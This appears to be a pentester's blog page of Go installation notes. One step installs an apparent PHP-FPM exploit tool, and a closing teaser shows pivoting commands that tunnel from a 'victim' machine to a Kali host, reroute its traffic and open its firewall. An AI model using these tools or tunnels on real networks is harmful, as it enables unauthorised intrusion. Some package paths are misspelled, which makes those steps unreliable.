Skip to main content

Installing Go Packages


apt-get install golang

go run main.go       //most likely we will be missing few pacakges

export GOPATH=/root/go               //Export go Path

mkdir /root/go                             //make sure that path exists

go get github.com/satori/go.uuid     //Downloading and installing packages in go

go get golang.org/x/crypoto/ssh/terminakl       //Downloading and installing packages in go

go run main.go

go build     //compile a file -- creates an executable


Installing go for Developers

go to https://golang.org/dl/ and copy the link  - or you can refer to this link

wget https://dl.google.com/go/go1.14.3.linux-amd64.tar.gz

tar -xvf  go1.14.3.linux-amd64.tar.gz -C /usr/local

chown -R root:root /usr/local/go

 nano ~/.profile                  # add these at bottom

export GOPATH=$HOME/go
export PATH=$PATH:$GOPATH/bin

go version


Installing go --> Easy 

 Follow the below process to run go scipts from anywhere in the operating system. 

apt install golang
 
mkdir /$HOME/go

nano ~/.bashrc                       #add the below line

export PATH="/home/kali/go/bin:$PATH"

source ~/.bashrc

echo $PATH

#install an application
go get github.com/neex/phuip-fpizdam
phuip-fpizdam

 

Resolving Missing packages issue

cd directory
go mod init file.go
go mod tidy

Comments

Popular posts from this blog

Pivoting into an internal network behind firewall

    Accessing a Victim network from Windows box which is pivoted to Kali #On Kali sshuttle --listen 0.0.0.0 -r user@10.10.10.10 192.168.1.0/24 or ./chisel server --port 9001 -reverse #On Victim ./chisel.exe client 10.10.10.1:9001 R:0.0.0.0:1080:socks .\chisel.exe client 10.10.10.1:9001 R:8080:127.0.0.1:8080 R:8888:127.0.0.1:8888 R:9090:127.0.0.1:9090 #On windows route print #delete default route route delete 0.0.0.0 #add a new route to kali- setting kali ip as gateway; kali_ip=which is on the same subnet as the windows box route add 0.0.0.0 mask 0.0.0.0 KALI_IP #Now you should be able to access all the sites which are accessible on kali from windows box. #If the above doesnt work #asuming Kali and windows are on Eht0 #add a firewall rule to allow Kali ip traffic netsh advfirewall firewall add rule name="Allow VPN Traffic" dir=in action=allow protocol=any remoteip=KALI_ETH0_IP #on Kali - Allow tun0 traffic to forward on iptables sudo iptables -P FORWARD ACCEPT ...